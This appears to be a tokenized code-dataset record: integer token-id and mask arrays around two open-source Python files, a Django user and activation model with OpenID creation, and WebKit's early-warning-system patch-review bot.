450,
709,
83,
2,
450,
334,
272,
2397,
14,
5334,
14,
505,
1491,
1398,
467,
2397,
14,
17205,
63,
1205,
14,
505,
1491,
709,
566,
199,
1361,
298,
221,
15237,
13392,
4591,
26,
450,
1398,
83,
3698,
2851,
14826,
26,
450,
709,
83,
2,
450,
334,
272,
5048,
2162,
1872,
8,
2373,
14,
17205,
63,
2019,
63,
19385,
18562,
1398,
467,
272,
5048,
2162,
1872,
8,
2373,
14,
17205,
63,
633,
63,
835,
18562,
709,
566,
199,
199,
3,
2654,
282,
21305,
25121,
199,
3,
2373,
275,
1890,
14,
1123,
27245,
8972,
1130,
8,
26900,
63,
7917,
12,
283,
1014,
921,
1396,
15,
17205,
13,
11375,
13,
2694,
14,
1652,
297,
283,
56,
4943,
358,
199,
199,
3,
2654,
282,
19497,
25121,
12,
2195,
4770,
1471,
506,
5120,
315,
4475,
30951,
14,
199,
3,
1666,
2597,
1455,
921,
3098,
14,
957,
15,
4058,
15,
2520,
5892,
878,
15,
1393,
15,
5934,
14,
647,
31,
5934,
29,
27358,
1703,
199,
3,
2373,
275,
1890,
14,
1123,
24730,
8972,
1130,
8,
26900,
63,
7917,
12,
283,
1014,
921,
1396,
15,
17205,
13,
13224,
13,
2694,
14,
1652,
297,
283,
4314,
358,
199,
199,
1361,
199,
1361,
283,
22001,
25121,
26,
450,
83,
7,
450,
3651,
10818,
63,
51,
10439,
1282,
199,
1258,
14,
5392,
8972,
1130,
8,
26900,
63,
7917,
12,
3651,
10818,
63,
51,
10439,
1282,
9,
199,
199,
1361,
199,
1361,
283,
22001,
4770,
26,
450,
83,
7,
450,
3651,
10818,
63,
7917,
199,
1258,
14,
5392,
8972,
8,
26900,
63,
7917,
9,
199,
1361,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
xobb1t/ddash2013
|
apps/accounts/models.py
|
1
|
2197
|
from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin
from django.db import models
from django.db.models.signals import post_save
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _
from openid_provider.models import OpenID
from .managers import UserManager, ActivationManager
class User(AbstractBaseUser, PermissionsMixin):
email = models.EmailField(_(u'email'), max_length=255, unique=True)
full_name = models.CharField(_(u'full name'), max_length=255)
login = models.SlugField(_(u'login'), max_length=255)
organization = models.ForeignKey('organizations.Organization',
related_name='members')
is_owner = models.BooleanField(_(u'is owner'), default=False)
is_active = models.BooleanField(_(u'is active'), default=False)
joined_at = models.DateTimeField(_(u'joined at'), auto_now_add=True)
USERNAME_FIELD = 'email'
REQUIRED_FIELDS = ['login']
objects = UserManager()
class Meta:
verbose_name = _(u'user')
verbose_name_plural = _(u'users')
unique_together = ['organization', 'login']
def get_full_name(self):
return self.full_name
def get_short_name(self):
return self.login
def make_activation(self):
if self.is_active:
return
return self.activations.make_activation(self)
def get_openid(self):
return u'{}.{}'.format(self.organization.slug, self.login)
class Activation(models.Model):
user = models.ForeignKey(User, related_name='activations')
key = models.CharField(max_length=40)
is_activated = models.BooleanField(default=False)
expires_at = models.DateTimeField()
objects = ActivationManager()
def is_expired(self):
return timezone.now() > self.expires_at
def create_openid_on_user_create(sender, instance, created, **kwargs):
if created:
OpenID.objects.get_or_create(user=instance, defaults={
'default': True, 'openid': u'{}.{}'.format(
instance.organization.slug, instance.login
)
})
post_save.connect(create_openid_on_user_create, sender=User)
|
mit
|
[
504,
1639,
14,
2828,
14,
1178,
14,
992,
492,
11836,
1563,
1899,
12,
28260,
4256,
199,
504,
1639,
14,
697,
492,
1709,
199,
504,
1639,
14,
697,
14,
992,
14,
10458,
492,
2963,
63,
2117,
199,
504,
1639,
14,
1208,
492,
7137,
199,
504,
1639,
14,
1208,
14,
6893,
492,
10366,
63,
6395,
465,
485,
199,
199,
504,
24494,
63,
3780,
14,
992,
492,
25463,
199,
199,
504,
1275,
16259,
492,
2876,
2988,
12,
29441,
2988,
421,
199,
533,
2876,
8,
8458,
1563,
1899,
12,
28260,
4256,
304,
339,
3031,
275,
1709,
14,
16577,
27594,
85,
7,
2123,
659,
1390,
63,
1267,
29,
2299,
12,
3747,
29,
549,
9,
339,
2615,
63,
354,
275,
1709,
14,
2183,
27594,
85,
7,
2861,
536,
659,
1390,
63,
1267,
29,
2299,
9,
272,
4676,
275,
1709,
14,
17315,
27594,
85,
7,
2886,
659,
1390,
63,
1267,
29,
2299,
9,
272,
13237,
275,
1709,
14,
3190,
360,
19916,
12270,
14,
15928,
297,
3660,
4048,
63,
354,
534,
6334,
358,
272,
365,
63,
4597,
275,
1709,
14,
5036,
27594,
85,
7,
374,
5771,
659,
849,
29,
797,
9,
272,
365,
63,
2682,
275,
1709,
14,
5036,
27594,
85,
7,
374,
4702,
659,
849,
29,
797,
9,
272,
16538,
63,
292,
275,
1709,
14,
4626,
27594,
85,
7,
11806,
737,
659,
2599,
63,
2131,
63,
525,
29,
549,
9,
339,
13044,
2339,
63,
8609,
275,
283,
2123,
7,
272,
25090,
63,
12767,
275,
788,
2886,
418,
339,
2251,
275,
2876,
2988,
342,
339,
1021,
6288,
26,
267,
3376,
63,
354,
275,
12561,
85,
7,
751,
358,
267,
3376,
63,
354,
63,
10019,
275,
12561,
85,
7,
3707,
358,
267,
3747,
63,
6314,
275,
788,
9071,
297,
283,
2886,
418,
339,
347,
664,
63,
2861,
63,
354,
8,
277,
304,
267,
372,
291,
14,
2861,
63,
354,
339,
347,
664,
63,
3612,
63,
354,
8,
277,
304,
267,
372,
291,
14,
2886,
339,
347,
1852,
63,
12312,
8,
277,
304,
267,
340,
291,
14,
374,
63,
2682,
26,
288,
372,
267,
372,
291,
14,
31117,
14,
1875,
63,
12312,
8,
277,
9,
339,
347,
664,
63,
15403,
8,
277,
304,
267,
372,
399,
7,
31270,
11123,
908,
8,
277,
14,
9071,
14,
5464,
12,
291,
14,
2886,
9,
421,
199,
533,
29441,
8,
992,
14,
1685,
304,
339,
922,
275,
1709,
14,
3190,
8,
1899,
12,
4048,
63,
354,
534,
31117,
358,
272,
790,
275,
1709,
14,
2183,
8,
988,
63,
1267,
29,
2167,
9,
272,
365,
63,
18218,
275,
1709,
14,
5036,
8,
885,
29,
797,
9,
272,
12261,
63,
292,
275,
1709,
14,
4626,
342,
339,
2251,
275,
29441,
2988,
342,
339,
347,
365,
63,
16340,
8,
277,
304,
267,
372,
7137,
14,
2131,
342,
690,
291,
14,
12342,
63,
292,
421,
199,
318,
1218,
63,
15403,
63,
265,
63,
751,
63,
981,
8,
8114,
12,
1256,
12,
2737,
12,
1011,
958,
304,
272,
340,
2737,
26,
267,
25463,
14,
1462,
14,
362,
63,
269,
63,
981,
8,
751,
29,
842,
12,
4243,
3126,
288,
283,
885,
356,
715,
12,
283,
15403,
356,
399,
7,
31270,
11123,
908,
8,
355,
1256,
14,
9071,
14,
5464,
12,
1256,
14,
2886,
288,
776,
267,
3828,
199,
199,
1932,
63,
2117,
14,
2242,
8,
981,
63,
15403,
63,
265,
63,
751,
63,
981,
12,
8904,
29,
1899,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1639,
14,
2828,
14,
1178,
14,
992,
492,
11836,
1563,
1899,
12,
28260,
4256,
199,
504,
1639,
14,
697,
492,
1709,
199,
504,
1639,
14,
697,
14,
992,
14,
10458,
492,
2963,
63,
2117,
199,
504,
1639,
14,
1208,
492,
7137,
199,
504,
1639,
14,
1208,
14,
6893,
492,
10366,
63,
6395,
465,
485,
199,
199,
504,
24494,
63,
3780,
14,
992,
492,
25463,
199,
199,
504,
1275,
16259,
492,
2876,
2988,
12,
29441,
2988,
421,
199,
533,
2876,
8,
8458,
1563,
1899,
12,
28260,
4256,
304,
339,
3031,
275,
1709,
14,
16577,
27594,
85,
7,
2123,
659,
1390,
63,
1267,
29,
2299,
12,
3747,
29,
549,
9,
339,
2615,
63,
354,
275,
1709,
14,
2183,
27594,
85,
7,
2861,
536,
659,
1390,
63,
1267,
29,
2299,
9,
272,
4676,
275,
1709,
14,
17315,
27594,
85,
7,
2886,
659,
1390,
63,
1267,
29,
2299,
9,
272,
13237,
275,
1709,
14,
3190,
360,
19916,
12270,
14,
15928,
297,
3660,
4048,
63,
354,
534,
6334,
358,
272,
365,
63,
4597,
275,
1709,
14,
5036,
27594,
85,
7,
374,
5771,
659,
849,
29,
797,
9,
272,
365,
63,
2682,
275,
1709,
14,
5036,
27594,
85,
7,
374,
4702,
659,
849,
29,
797,
9,
272,
16538,
63,
292,
275,
1709,
14,
4626,
27594,
85,
7,
11806,
737,
659,
2599,
63,
2131,
63,
525,
29,
549,
9,
339,
13044,
2339,
63,
8609,
275,
283,
2123,
7,
272,
25090,
63,
12767,
275,
788,
2886,
418,
339,
2251,
275,
2876,
2988,
342,
339,
1021,
6288,
26,
267,
3376,
63,
354,
275,
12561,
85,
7,
751,
358,
267,
3376,
63,
354,
63,
10019,
275,
12561,
85,
7,
3707,
358,
267,
3747,
63,
6314,
275,
788,
9071,
297,
283,
2886,
418,
339,
347,
664,
63,
2861,
63,
354,
8,
277,
304,
267,
372,
291,
14,
2861,
63,
354,
339,
347,
664,
63,
3612,
63,
354,
8,
277,
304,
267,
372,
291,
14,
2886,
339,
347,
1852,
63,
12312,
8,
277,
304,
267,
340,
291,
14,
374,
63,
2682,
26,
288,
372,
267,
372,
291,
14,
31117,
14,
1875,
63,
12312,
8,
277,
9,
339,
347,
664,
63,
15403,
8,
277,
304,
267,
372,
399,
7,
31270,
11123,
908,
8,
277,
14,
9071,
14,
5464,
12,
291,
14,
2886,
9,
421,
199,
533,
29441,
8,
992,
14,
1685,
304,
339,
922,
275,
1709,
14,
3190,
8,
1899,
12,
4048,
63,
354,
534,
31117,
358,
272,
790,
275,
1709,
14,
2183,
8,
988,
63,
1267,
29,
2167,
9,
272,
365,
63,
18218,
275,
1709,
14,
5036,
8,
885,
29,
797,
9,
272,
12261,
63,
292,
275,
1709,
14,
4626,
342,
339,
2251,
275,
29441,
2988,
342,
339,
347,
365,
63,
16340,
8,
277,
304,
267,
372,
7137,
14,
2131,
342,
690,
291,
14,
12342,
63,
292,
421,
199,
318,
1218,
63,
15403,
63,
265,
63,
751,
63,
981,
8,
8114,
12,
1256,
12,
2737,
12,
1011,
958,
304,
272,
340,
2737,
26,
267,
25463,
14,
1462,
14,
362,
63,
269,
63,
981,
8,
751,
29,
842,
12,
4243,
3126,
288,
283,
885,
356,
715,
12,
283,
15403,
356,
399,
7,
31270,
11123,
908,
8,
355,
1256,
14,
9071,
14,
5464,
12,
1256,
14,
2886,
288,
776,
267,
3828,
199,
199,
1932,
63,
2117,
14,
2242,
8,
981,
63,
15403,
63,
265,
63,
751,
63,
981,
12,
8904,
29,
1899,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
petermat/phantomjs
|
src/qt/qtwebkit/Tools/Scripts/webkitpy/tool/commands/earlywarningsystem.py
|
118
|
7138
|
# Copyright (c) 2009 Google Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
import json
import logging
from optparse import make_option
from webkitpy.common.config.committers import CommitterList
from webkitpy.common.config.ports import DeprecatedPort
from webkitpy.common.system.filesystem import FileSystem
from webkitpy.common.system.executive import ScriptError
from webkitpy.tool.bot.earlywarningsystemtask import EarlyWarningSystemTask, EarlyWarningSystemTaskDelegate
from webkitpy.tool.bot.expectedfailures import ExpectedFailures
from webkitpy.tool.bot.layouttestresultsreader import LayoutTestResultsReader
from webkitpy.tool.bot.patchanalysistask import UnableToApplyPatch
from webkitpy.tool.bot.queueengine import QueueEngine
from webkitpy.tool.commands.queues import AbstractReviewQueue
_log = logging.getLogger(__name__)
class AbstractEarlyWarningSystem(AbstractReviewQueue, EarlyWarningSystemTaskDelegate):
_build_style = "release"
# FIXME: Switch _default_run_tests from opt-in to opt-out once more bots are ready to run tests.
run_tests = False
def __init__(self):
options = [make_option("--run-tests", action="store_true", dest="run_tests", default=self.run_tests, help="Run the Layout tests for each patch")]
AbstractReviewQueue.__init__(self, options=options)
def begin_work_queue(self):
AbstractReviewQueue.begin_work_queue(self)
self._expected_failures = ExpectedFailures()
self._layout_test_results_reader = LayoutTestResultsReader(self._tool, self._port.results_directory(), self._log_directory())
def _failing_tests_message(self, task, patch):
results = task.results_from_patch_test_run(patch)
unexpected_failures = self._expected_failures.unexpected_failures_observed(results)
if not unexpected_failures:
return None
return "New failing tests:\n%s" % "\n".join(unexpected_failures)
def _post_reject_message_on_bug(self, tool, patch, status_id, extra_message_text=None):
results_link = tool.status_server.results_url_for_status(status_id)
message = "Attachment %s did not pass %s (%s):\nOutput: %s" % (patch.id(), self.name, self.port_name, results_link)
if extra_message_text:
message += "\n\n%s" % extra_message_text
# FIXME: We might want to add some text about rejecting from the commit-queue in
# the case where patch.commit_queue() isn't already set to '-'.
if self.watchers:
tool.bugs.add_cc_to_bug(patch.bug_id(), self.watchers)
tool.bugs.set_flag_on_attachment(patch.id(), "commit-queue", "-", message)
def review_patch(self, patch):
task = EarlyWarningSystemTask(self, patch, self._options.run_tests)
if not task.validate():
self._did_error(patch, "%s did not process patch." % self.name)
return False
try:
return task.run()
except UnableToApplyPatch, e:
self._did_error(patch, "%s unable to apply patch." % self.name)
return False
except ScriptError, e:
self._post_reject_message_on_bug(self._tool, patch, task.failure_status_id, self._failing_tests_message(task, patch))
results_archive = task.results_archive_from_patch_test_run(patch)
if results_archive:
self._upload_results_archive_for_patch(patch, results_archive)
self._did_fail(patch)
# FIXME: We're supposed to be able to raise e again here and have
# one of our base classes mark the patch as fail, but there seems
# to be an issue with the exit_code.
return False
# EarlyWarningSystemDelegate methods
def parent_command(self):
return self.name
def run_command(self, command):
self.run_webkit_patch(command + [self._deprecated_port.flag()])
def command_passed(self, message, patch):
pass
def command_failed(self, message, script_error, patch):
failure_log = self._log_from_script_error_for_upload(script_error)
return self._update_status(message, patch=patch, results_file=failure_log)
def expected_failures(self):
return self._expected_failures
def test_results(self):
return self._layout_test_results_reader.results()
def archive_last_test_results(self, patch):
return self._layout_test_results_reader.archive(patch)
def build_style(self):
return self._build_style
def refetch_patch(self, patch):
return self._tool.bugs.fetch_attachment(patch.id())
def report_flaky_tests(self, patch, flaky_test_results, results_archive):
pass
# StepSequenceErrorHandler methods
@classmethod
def handle_script_error(cls, tool, state, script_error):
# FIXME: Why does this not exit(1) like the superclass does?
_log.error(script_error.message_with_output())
@classmethod
def load_ews_classes(cls):
filesystem = FileSystem()
json_path = filesystem.join(filesystem.dirname(filesystem.path_to_module('webkitpy.common.config')), 'ews.json')
try:
ewses = json.loads(filesystem.read_text_file(json_path))
except ValueError:
return None
classes = []
for name, config in ewses.iteritems():
classes.append(type(str(name.replace(' ', '')), (AbstractEarlyWarningSystem,), {
'name': config['port'] + '-ews',
'port_name': config['port'],
'watchers': config.get('watchers', []),
'run_tests': config.get('runTests', cls.run_tests),
}))
return classes
|
bsd-3-clause
|
[
3,
1898,
334,
67,
9,
8937,
4475,
3277,
14,
2900,
4481,
4644,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
199,
3,
7647,
26,
199,
3,
199,
3,
258,
627,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
199,
3,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
258,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
199,
3,
4248,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
199,
3,
315,
314,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
199,
3,
4084,
14,
199,
3,
258,
627,
11443,
314,
536,
402,
4475,
3277,
14,
6590,
314,
1561,
402,
2399,
199,
3,
8417,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
7131,
687,
199,
3,
642,
2032,
1928,
2488,
6791,
5313,
4983,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
199,
3,
298,
1179,
2281,
2,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
2334,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
199,
3,
437,
3115,
3104,
9315,
9706,
14,
1621,
4825,
6461,
7000,
2334,
5877,
199,
3,
11489,
1549,
6483,
6262,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
199,
3,
8820,
12,
9836,
12,
1549,
9110,
6736,
334,
6446,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
9838,
1634,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
